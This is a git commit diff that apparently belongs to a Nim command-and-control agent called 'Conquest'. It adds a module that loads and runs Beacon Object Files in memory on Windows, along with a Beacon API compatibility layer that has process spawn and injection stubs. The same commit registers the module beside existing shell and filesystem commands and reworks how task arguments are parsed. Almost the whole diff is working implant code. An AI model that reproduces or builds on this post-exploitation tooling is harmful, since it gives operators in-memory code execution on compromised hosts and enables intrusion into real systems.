Added 'bof' module for executing object files and fixed handling of optional arguments.
This commit is contained in:
@@ -19,32 +19,32 @@ const
|
|||||||
|
|
||||||
type
|
type
|
||||||
datap* {.bycopy,packed.} = object
|
datap* {.bycopy,packed.} = object
|
||||||
original*: ptr char
|
original*: PCHAR
|
||||||
buffer*: ptr char
|
buffer*: PCHAR
|
||||||
length*: int
|
length*: int
|
||||||
size*: int
|
size*: int
|
||||||
|
|
||||||
formatp* {.bycopy,packed.} = object
|
formatp* {.bycopy,packed.} = object
|
||||||
original*: ptr char
|
original*: PCHAR
|
||||||
buffer*: ptr char
|
buffer*: PCHAR
|
||||||
length*: int
|
length*: int
|
||||||
size*: int
|
size*: int
|
||||||
|
|
||||||
# Reference: https://forum.nim-lang.org/t/7352
|
# Reference: https://forum.nim-lang.org/t/7352
|
||||||
type va_list* {.importc: "va_list", header: "<stdarg.h>".} = object
|
type va_list* {.importc: "va_list", header: "<stdarg.h>".} = object
|
||||||
proc va_start(format: va_list, args: ptr char) {.stdcall, importc, header: "stdio.h"}
|
proc va_start(format: va_list, args: PCHAR) {.stdcall, importc, header: "stdio.h"}
|
||||||
proc va_end(ap: va_list) {.stdcall, importc, header: "stdio.h"}
|
proc va_end(ap: va_list) {.stdcall, importc, header: "stdio.h"}
|
||||||
proc vprintf(format: cstring, args: va_list) {.stdcall, importc, header: "stdio.h"}
|
proc vprintf(format: cstring, args: va_list) {.stdcall, importc, header: "stdio.h"}
|
||||||
proc vsnprintf(buffer: cstring; size: int; fmt: cstring; args: va_list): int {.stdcall, importc, dynlib: "msvcrt".}
|
proc vsnprintf(buffer: cstring; size: int; fmt: cstring; args: va_list): int {.stdcall, importc, dynlib: "msvcrt".}
|
||||||
|
|
||||||
var beaconCompatibilityOutput: ptr char = nil
|
var beaconCompatibilityOutput: PCHAR = nil
|
||||||
var beaconCompatibilitySize: int = 0
|
var beaconCompatibilitySize: int = 0
|
||||||
var beaconCompatibilityOffset: int = 0
|
var beaconCompatibilityOffset: int = 0
|
||||||
|
|
||||||
#[
|
#[
|
||||||
Parsing
|
Parsing
|
||||||
]#
|
]#
|
||||||
proc BeaconDataParse(parser: ptr datap, buffer: ptr char, size: int): void {.stdcall.} =
|
proc BeaconDataParse(parser: ptr datap, buffer: PCHAR, size: int): void {.stdcall.} =
|
||||||
if cast[uint64](parser) == 0:
|
if cast[uint64](parser) == 0:
|
||||||
return
|
return
|
||||||
|
|
||||||
@@ -87,13 +87,13 @@ proc BeaconDataLength(parser: ptr datap): int {.stdcall.} =
|
|||||||
|
|
||||||
return parser.length
|
return parser.length
|
||||||
|
|
||||||
proc BeaconDataExtract(parser: ptr datap, size: ptr int): ptr char {.stdcall.} =
|
proc BeaconDataExtract(parser: ptr datap, size: ptr int): PCHAR {.stdcall.} =
|
||||||
if cast[uint64](parser) == 0:
|
if cast[uint64](parser) == 0:
|
||||||
return
|
return
|
||||||
|
|
||||||
var
|
var
|
||||||
length: int32 = 0
|
length: int32 = 0
|
||||||
outData: ptr char = nil
|
outData: PCHAR = nil
|
||||||
|
|
||||||
# Length of prefixed binary blob
|
# Length of prefixed binary blob
|
||||||
if parser.length < 4:
|
if parser.length < 4:
|
||||||
@@ -118,7 +118,7 @@ proc BeaconFormatAlloc(format: ptr formatp, maxsz: int): void {.stdcall.} =
|
|||||||
if format == NULL:
|
if format == NULL:
|
||||||
return
|
return
|
||||||
|
|
||||||
format.original = cast[ptr char](alloc(maxsz))
|
format.original = cast[PCHAR](alloc(maxsz))
|
||||||
zeroMem(format.original, maxsz)
|
zeroMem(format.original, maxsz)
|
||||||
format.buffer = format.original
|
format.buffer = format.original
|
||||||
format.length = 0
|
format.length = 0
|
||||||
@@ -144,7 +144,7 @@ proc BeaconFormatFree(format: ptr formatp): void {.stdcall.} =
|
|||||||
format.length = 0
|
format.length = 0
|
||||||
format.size = 0
|
format.size = 0
|
||||||
|
|
||||||
proc BeaconFormatAppend(format: ptr formatp, text: ptr char, len: int): void {.stdcall.} =
|
proc BeaconFormatAppend(format: ptr formatp, text: PCHAR, len: int): void {.stdcall.} =
|
||||||
if format == NULL or text == NULL:
|
if format == NULL or text == NULL:
|
||||||
return
|
return
|
||||||
|
|
||||||
@@ -152,7 +152,7 @@ proc BeaconFormatAppend(format: ptr formatp, text: ptr char, len: int): void {.s
|
|||||||
format.buffer += len
|
format.buffer += len
|
||||||
format.length += len
|
format.length += len
|
||||||
|
|
||||||
proc BeaconFormatPrintf(format: ptr formatp, fmt: ptr char): void {.stdcall, varargs.} =
|
proc BeaconFormatPrintf(format: ptr formatp, fmt: PCHAR): void {.stdcall, varargs.} =
|
||||||
if format == NULL or fmt == NULL:
|
if format == NULL or fmt == NULL:
|
||||||
return
|
return
|
||||||
|
|
||||||
@@ -172,7 +172,7 @@ proc BeaconFormatPrintf(format: ptr formatp, fmt: ptr char): void {.stdcall, var
|
|||||||
format.length += length
|
format.length += length
|
||||||
format.buffer += length
|
format.buffer += length
|
||||||
|
|
||||||
proc BeaconFormatToString(format: ptr formatp, size: ptr int): ptr char {.stdcall.} =
|
proc BeaconFormatToString(format: ptr formatp, size: ptr int): PCHAR {.stdcall.} =
|
||||||
if format == NULL or size == NULL:
|
if format == NULL or size == NULL:
|
||||||
return
|
return
|
||||||
|
|
||||||
@@ -205,12 +205,12 @@ proc BeaconFormatInt(format: ptr formatp, value: int): void =
|
|||||||
#[
|
#[
|
||||||
Output functions
|
Output functions
|
||||||
]#
|
]#
|
||||||
proc BeaconPrintf(typeArg: int, fmt: ptr char):void{.stdcall, varargs.} =
|
proc BeaconPrintf(typeArg: int, fmt: PCHAR):void{.stdcall, varargs.} =
|
||||||
if fmt == NULL:
|
if fmt == NULL:
|
||||||
return
|
return
|
||||||
|
|
||||||
var length: int = 0
|
var length: int = 0
|
||||||
var tempPtr: ptr char = nil
|
var tempPtr: PCHAR = nil
|
||||||
var args: va_list
|
var args: va_list
|
||||||
va_start(args, fmt)
|
va_start(args, fmt)
|
||||||
vprintf(fmt, args)
|
vprintf(fmt, args)
|
||||||
@@ -219,7 +219,7 @@ proc BeaconPrintf(typeArg: int, fmt: ptr char):void{.stdcall, varargs.} =
|
|||||||
va_start(args, fmt)
|
va_start(args, fmt)
|
||||||
length = vsnprintf(NULL, 0, fmt, args)
|
length = vsnprintf(NULL, 0, fmt, args)
|
||||||
va_end(args)
|
va_end(args)
|
||||||
tempPtr = cast[ptr char](realloc(beaconCompatibilityOutput,beaconCompatibilitySize + length + 1))
|
tempPtr = cast[PCHAR](realloc(beaconCompatibilityOutput,beaconCompatibilitySize + length + 1))
|
||||||
if tempPtr == nil:
|
if tempPtr == nil:
|
||||||
return
|
return
|
||||||
beaconCompatibilityOutput = tempPtr
|
beaconCompatibilityOutput = tempPtr
|
||||||
@@ -230,12 +230,12 @@ proc BeaconPrintf(typeArg: int, fmt: ptr char):void{.stdcall, varargs.} =
|
|||||||
beaconCompatibilityOffset += length
|
beaconCompatibilityOffset += length
|
||||||
va_end(args)
|
va_end(args)
|
||||||
|
|
||||||
proc BeaconOutput(typeArg: int, data: ptr char, len: int): void {.stdcall.} =
|
proc BeaconOutput(typeArg: int, data: PCHAR, len: int): void {.stdcall.} =
|
||||||
if data == NULL:
|
if data == NULL:
|
||||||
return
|
return
|
||||||
|
|
||||||
var tempPtr: ptr char = nil
|
var tempPtr: PCHAR = nil
|
||||||
tempPtr = cast[ptr char](realloc(beaconCompatibilityOutput,beaconCompatibilitySize + len + 1))
|
tempPtr = cast[PCHAR](realloc(beaconCompatibilityOutput,beaconCompatibilitySize + len + 1))
|
||||||
beaconCompatibilityOutput = tempPtr
|
beaconCompatibilityOutput = tempPtr
|
||||||
if tempPtr == nil:
|
if tempPtr == nil:
|
||||||
return
|
return
|
||||||
@@ -263,7 +263,7 @@ proc BeaconIsAdmin(): BOOL {.stdcall.}=
|
|||||||
#[
|
#[
|
||||||
Spawn+Inject Functions
|
Spawn+Inject Functions
|
||||||
]#
|
]#
|
||||||
proc BeaconGetSpawnTo(x86: BOOL, buffer: ptr char, length: int): void {.stdcall.} =
|
proc BeaconGetSpawnTo(x86: BOOL, buffer: PCHAR, length: int): void {.stdcall.} =
|
||||||
if buffer == NULL:
|
if buffer == NULL:
|
||||||
return
|
return
|
||||||
|
|
||||||
@@ -290,11 +290,11 @@ proc BeaconSpawnTemporaryProcess(x86: BOOL, ignoreToken: BOOL, sInfo: ptr STARTU
|
|||||||
|
|
||||||
return bSuccess
|
return bSuccess
|
||||||
|
|
||||||
proc BeaconInjectProcess(hProc: HANDLE, pid: int, payload: ptr char, p_len: int, p_offset: int, arg: ptr char, a_len: int): void {.stdcall.} =
|
proc BeaconInjectProcess(hProc: HANDLE, pid: int, payload: PCHAR, p_len: int, p_offset: int, arg: PCHAR, a_len: int): void {.stdcall.} =
|
||||||
# Not implemented
|
# Not implemented
|
||||||
return
|
return
|
||||||
|
|
||||||
proc BeaconInjectTemporaryProcess(pInfo: ptr PROCESS_INFORMATION, payload: ptr char, p_len: int, p_offset: int, arg: ptr char, a_len: int): void {.stdcall.} =
|
proc BeaconInjectTemporaryProcess(pInfo: ptr PROCESS_INFORMATION, payload: PCHAR, p_len: int, p_offset: int, arg: PCHAR, a_len: int): void {.stdcall.} =
|
||||||
# Not implemented
|
# Not implemented
|
||||||
return
|
return
|
||||||
|
|
||||||
@@ -305,12 +305,12 @@ proc BeaconCleanupProcess(pInfo: ptr PROCESS_INFORMATION): void {.stdcall.} =
|
|||||||
#[
|
#[
|
||||||
Utility Functions
|
Utility Functions
|
||||||
]#
|
]#
|
||||||
proc toWideChar(src: ptr char, dst: ptr char, max: int): BOOL {.stdcall.} =
|
proc toWideChar(src: PCHAR, dst: PCHAR, max: int): BOOL {.stdcall.} =
|
||||||
# Not implemented
|
# Not implemented
|
||||||
return FALSE
|
return FALSE
|
||||||
|
|
||||||
proc BeaconGetOutputData*(outSize: ptr int): ptr char {.stdcall.} =
|
proc BeaconGetOutputData*(outSize: ptr int): PCHAR {.stdcall.} =
|
||||||
var outData: ptr char = beaconCompatibilityOutput
|
var outData: PCHAR = beaconCompatibilityOutput
|
||||||
|
|
||||||
if cast[uint64](outSize) != 0:
|
if cast[uint64](outSize) != 0:
|
||||||
outsize[] = beaconCompatibilitySize
|
outsize[] = beaconCompatibilitySize
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
import winim/lean
|
import winim/lean
|
||||||
import os, strformat, strutils, ptr_math
|
import os, strformat, strutils, ptr_math
|
||||||
import ./beacon
|
import ./beacon
|
||||||
import ../../common/[types, utils]
|
import ../../common/[types, utils, serialize]
|
||||||
|
|
||||||
#[
|
#[
|
||||||
Object file loading involves the following steps
|
Object file loading involves the following steps
|
||||||
@@ -262,8 +262,7 @@ proc objectProcessSection(objCtx: POBJECT_CTX): bool =
|
|||||||
Arguments:
|
Arguments:
|
||||||
- objCtx: Object context
|
- objCtx: Object context
|
||||||
- entry: Name of the entry function to be executed
|
- entry: Name of the entry function to be executed
|
||||||
- args: Pointer to the address of the arguments passed to the object file
|
- args: Arguments passed to the object file
|
||||||
- argc: Size of the arguments passed to the object file
|
|
||||||
]#
|
]#
|
||||||
proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: seq[byte]): bool =
|
proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: seq[byte]): bool =
|
||||||
|
|
||||||
@@ -300,7 +299,11 @@ proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: seq[byte]): bool =
|
|||||||
|
|
||||||
# Execute BOF entry point
|
# Execute BOF entry point
|
||||||
var entryPoint = cast[EntryPoint](cast[uint](secBase) + cast[uint](objSym.Value))
|
var entryPoint = cast[EntryPoint](cast[uint](secBase) + cast[uint](objSym.Value))
|
||||||
|
|
||||||
|
if args.len > 0:
|
||||||
entryPoint(addr args[0], cast[ULONG](args.len()))
|
entryPoint(addr args[0], cast[ULONG](args.len()))
|
||||||
|
else:
|
||||||
|
entryPoint(NULL, 0)
|
||||||
|
|
||||||
# Revert the memory protection change
|
# Revert the memory protection change
|
||||||
if VirtualProtect(secBase, secSize, oldProtect, addr oldProtect) == 0:
|
if VirtualProtect(secBase, secSize, oldProtect, addr oldProtect) == 0:
|
||||||
@@ -314,12 +317,11 @@ proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: seq[byte]): bool =
|
|||||||
Loads, parses and executes a object file in memory
|
Loads, parses and executes a object file in memory
|
||||||
|
|
||||||
Arguments:
|
Arguments:
|
||||||
- pObject: Base address of the object file in memory
|
- objectFile: Bytes of the object file
|
||||||
- sFunction: Name of the function to be executed, usually "go"
|
- args: Bytes of the COFF arguments
|
||||||
- pArgs: Base address of the arguments to be passed to the function
|
- entryFunction: Name of the entry function to look for, usually "go"
|
||||||
- uArgc: Size of the arguments passed to the function
|
|
||||||
]#
|
]#
|
||||||
proc inlineExecute*(objectFile: seq[byte], args: seq[byte], entryFunction: string = "go"): bool =
|
proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction: string = "go"): bool =
|
||||||
|
|
||||||
var
|
var
|
||||||
objCtx: OBJECT_CTX
|
objCtx: OBJECT_CTX
|
||||||
@@ -399,7 +401,14 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte], entryFunction: strin
|
|||||||
|
|
||||||
return true
|
return true
|
||||||
|
|
||||||
proc inlineExecuteGetOutput*(objectFile: seq[byte], args: seq[byte], entryFunction: string = "go"): string =
|
#[
|
||||||
|
Execute a object file in memory and retrieve the output using the BeaconGetOutputData API
|
||||||
|
Arguments:
|
||||||
|
- objectFile: Bytes of the object file
|
||||||
|
- args: Bytes of the COFF arguments
|
||||||
|
- entryFunction: Name of the entry function to look for, usually "go"
|
||||||
|
]#
|
||||||
|
proc inlineExecuteGetOutput*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction: string = "go"): string =
|
||||||
|
|
||||||
if not inlineExecute(objectFile, args, entryFunction):
|
if not inlineExecute(objectFile, args, entryFunction):
|
||||||
raise newException(CatchableError, fmt"[-] Failed to inline-execute object file.")
|
raise newException(CatchableError, fmt"[-] Failed to inline-execute object file.")
|
||||||
@@ -407,33 +416,21 @@ proc inlineExecuteGetOutput*(objectFile: seq[byte], args: seq[byte], entryFuncti
|
|||||||
var output = BeaconGetOutputData(NULL)
|
var output = BeaconGetOutputData(NULL)
|
||||||
return $output
|
return $output
|
||||||
|
|
||||||
proc HexStringToByteArray(hexString:string,hexLength:int):seq[byte] =
|
#[
|
||||||
var returnValue:seq[byte] = @[]
|
Process the COFF arguments according to:
|
||||||
for i in countup(0,hexLength-1,2):
|
https://github.com/trustedsec/COFFLoader/blob/main/beacon_generate.py
|
||||||
try:
|
]#
|
||||||
#cho hexString[i..i+1]
|
proc generateCoffArguments*(args: seq[TaskArg]): seq[byte] =
|
||||||
returnValue.add(fromHex[uint8](hexString[i..i+1]))
|
|
||||||
except ValueError:
|
|
||||||
return @[]
|
|
||||||
#fromHex[uint8]
|
|
||||||
return returnValue
|
|
||||||
|
|
||||||
proc test*() =
|
var packer = Packer.init()
|
||||||
|
for arg in args:
|
||||||
|
packer.add(uint32(arg.data.len()))
|
||||||
|
packer.addData(arg.data)
|
||||||
|
|
||||||
var
|
# Add terminating NULL byte to the end of string arguments
|
||||||
fileName = "dir.x64.o"
|
if arg.argType == uint8(types.STRING):
|
||||||
pObject = readFile(fileName)
|
packer.add(uint8('\0'))
|
||||||
uLength: ULONG = cast[ULONG](pObject.len)
|
|
||||||
|
|
||||||
echo fmt"[+] Read file {fileName}: 0x{(addr pObject[0]).toHex()} (Size: {uLength} bytes)"
|
let argBytes = packer.pack()
|
||||||
|
|
||||||
try:
|
return uint32.toBytes(uint32(argBytes.len())) & argBytes
|
||||||
let args = "130000000f000000433a2f55736572732f6a616b6f6200"
|
|
||||||
let argsBuffer = HexStringToByteArray(args, args.len)
|
|
||||||
|
|
||||||
echo $argsBuffer
|
|
||||||
|
|
||||||
echo inlineExecuteGetOutput(string.toBytes(pObject), argsBuffer)
|
|
||||||
|
|
||||||
except CatchableError as err:
|
|
||||||
echo "[-] ", err.msg
|
|
||||||
|
|||||||
@@ -70,6 +70,4 @@ proc main() =
|
|||||||
echo "[-] ", err.msg
|
echo "[-] ", err.msg
|
||||||
|
|
||||||
when isMainModule:
|
when isMainModule:
|
||||||
test()
|
|
||||||
quit(0)
|
|
||||||
main()
|
main()
|
||||||
@@ -43,6 +43,7 @@ type
|
|||||||
CMD_PS = 9'u16
|
CMD_PS = 9'u16
|
||||||
CMD_ENV = 10'u16
|
CMD_ENV = 10'u16
|
||||||
CMD_WHOAMI = 11'u16
|
CMD_WHOAMI = 11'u16
|
||||||
|
CMD_BOF = 12'u16
|
||||||
|
|
||||||
StatusType* = enum
|
StatusType* = enum
|
||||||
STATUS_COMPLETED = 0'u8
|
STATUS_COMPLETED = 0'u8
|
||||||
|
|||||||
58
src/modules/bof.nim
Normal file
58
src/modules/bof.nim
Normal file
@@ -0,0 +1,58 @@
|
|||||||
|
import ../common/[types, utils]
|
||||||
|
|
||||||
|
# Define function prototype
|
||||||
|
proc executeBof(ctx: AgentCtx, task: Task): TaskResult
|
||||||
|
|
||||||
|
# Command definition (as seq[Command])
|
||||||
|
let commands*: seq[Command] = @[
|
||||||
|
Command(
|
||||||
|
name: protect("bof"),
|
||||||
|
commandType: CMD_BOF,
|
||||||
|
description: protect("Execute a object file in memory and retrieve the output."),
|
||||||
|
example: protect("bof /path/to/dir.x64.o C:\\Users"),
|
||||||
|
arguments: @[
|
||||||
|
Argument(name: protect("path"), description: protect("Local path to the object file to execute."), argumentType: BINARY, isRequired: true),
|
||||||
|
Argument(name: protect("arguments"), description: protect("Arguments to be passed to the object file."), argumentType: STRING, isRequired: false)
|
||||||
|
],
|
||||||
|
execute: executeBof
|
||||||
|
)
|
||||||
|
]
|
||||||
|
|
||||||
|
# Implement execution functions
|
||||||
|
when defined(server):
|
||||||
|
proc executeBof(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||||
|
|
||||||
|
when defined(agent):
|
||||||
|
|
||||||
|
import osproc, strutils, strformat
|
||||||
|
import ../agent/core/coff
|
||||||
|
import ../agent/protocol/result
|
||||||
|
import ../common/utils
|
||||||
|
|
||||||
|
proc executeBof(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
|
try:
|
||||||
|
var
|
||||||
|
objectFile: seq[byte]
|
||||||
|
arguments: seq[byte]
|
||||||
|
|
||||||
|
# Parse arguments
|
||||||
|
case int(task.argCount):
|
||||||
|
of 1: # Only the object file has been passed as an argument
|
||||||
|
objectFile = task.args[0].data
|
||||||
|
arguments = @[]
|
||||||
|
else: # The optional 'arguments' parameter was included
|
||||||
|
objectFile = task.args[0].data
|
||||||
|
|
||||||
|
# Combine the passed arguments into a format that is understood by the Beacon API
|
||||||
|
arguments = generateCoffArguments(task.args[1..^1])
|
||||||
|
|
||||||
|
echo fmt" [>] Executing object file."
|
||||||
|
let output = inlineExecuteGetOutput(objectFile, arguments)
|
||||||
|
|
||||||
|
if output != "":
|
||||||
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))
|
||||||
|
else:
|
||||||
|
return createTaskResult(task, STATUS_FAILED, RESULT_NO_OUTPUT, @[])
|
||||||
|
|
||||||
|
except CatchableError as err:
|
||||||
|
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||||
@@ -6,7 +6,8 @@ import
|
|||||||
shell,
|
shell,
|
||||||
sleep,
|
sleep,
|
||||||
filesystem,
|
filesystem,
|
||||||
environment
|
environment,
|
||||||
|
bof
|
||||||
|
|
||||||
type
|
type
|
||||||
ModuleManager* = object
|
ModuleManager* = object
|
||||||
@@ -26,6 +27,7 @@ proc loadModules*() =
|
|||||||
registerCommands(sleep.commands)
|
registerCommands(sleep.commands)
|
||||||
registerCommands(filesystem.commands)
|
registerCommands(filesystem.commands)
|
||||||
registerCommands(environment.commands)
|
registerCommands(environment.commands)
|
||||||
|
registerCommands(bof.commands)
|
||||||
|
|
||||||
proc getCommandByType*(cmdType: CommandType): Command =
|
proc getCommandByType*(cmdType: CommandType): Command =
|
||||||
return manager.commandsByType[cmdType]
|
return manager.commandsByType[cmdType]
|
||||||
|
|||||||
@@ -39,11 +39,11 @@ when defined(agent):
|
|||||||
of 1: # Only the command has been passed as an argument
|
of 1: # Only the command has been passed as an argument
|
||||||
command = Bytes.toString(task.args[0].data)
|
command = Bytes.toString(task.args[0].data)
|
||||||
arguments = ""
|
arguments = ""
|
||||||
of 2: # The optional 'arguments' parameter was included
|
else: # The optional 'arguments' parameter was included
|
||||||
command = Bytes.toString(task.args[0].data)
|
command = Bytes.toString(task.args[0].data)
|
||||||
arguments = Bytes.toString(task.args[1].data)
|
|
||||||
else:
|
for arg in task.args[1..^1]:
|
||||||
discard
|
arguments &= Bytes.toString(arg.data) & " "
|
||||||
|
|
||||||
echo fmt" [>] Executing command: {command} {arguments}"
|
echo fmt" [>] Executing command: {command} {arguments}"
|
||||||
|
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
import strutils, times
|
import strutils, sequtils, times
|
||||||
|
|
||||||
import ../../common/[types, sequence, crypto, utils]
|
import ../../common/[types, sequence, crypto, utils]
|
||||||
|
|
||||||
proc parseInput*(input: string): seq[string] =
|
proc parseInput*(input: string): seq[string] =
|
||||||
@@ -63,12 +62,10 @@ proc parseArgument*(argument: Argument, value: string): TaskArg =
|
|||||||
raise newException(ValueError, "Invalid value for boolean argument.")
|
raise newException(ValueError, "Invalid value for boolean argument.")
|
||||||
|
|
||||||
of STRING:
|
of STRING:
|
||||||
arg.data = cast[seq[byte]](value)
|
arg.data = string.toBytes(value)
|
||||||
|
|
||||||
of BINARY:
|
of BINARY:
|
||||||
# Read file as binary stream
|
arg.data = string.toBytes(readFile(value))
|
||||||
|
|
||||||
discard
|
|
||||||
|
|
||||||
return arg
|
return arg
|
||||||
|
|
||||||
@@ -85,15 +82,15 @@ proc createTask*(cq: Conquest, command: Command, arguments: seq[string]): Task =
|
|||||||
var taskArgs: seq[TaskArg]
|
var taskArgs: seq[TaskArg]
|
||||||
|
|
||||||
# Add the task arguments
|
# Add the task arguments
|
||||||
for i, arg in command.arguments:
|
if arguments.len() < command.arguments.filterIt(it.isRequired).len():
|
||||||
if i < arguments.len:
|
raise newException(CatchableError, "Missing required argument.")
|
||||||
taskArgs.add(parseArgument(arg, arguments[i]))
|
|
||||||
|
for i, arg in arguments:
|
||||||
|
if i < command.arguments.len():
|
||||||
|
taskArgs.add(parseArgument(command.arguments[i], arg))
|
||||||
else:
|
else:
|
||||||
if arg.isRequired:
|
# Optional arguments should ALWAYS be placed at the end of the command and take the same definition
|
||||||
raise newException(ValueError, "Missing required argument.")
|
taskArgs.add(parseArgument(command.arguments[^1], arg))
|
||||||
else:
|
|
||||||
# Handle optional argument
|
|
||||||
taskArgs.add(parseArgument(arg, ""))
|
|
||||||
|
|
||||||
task.args = taskArgs
|
task.args = taskArgs
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user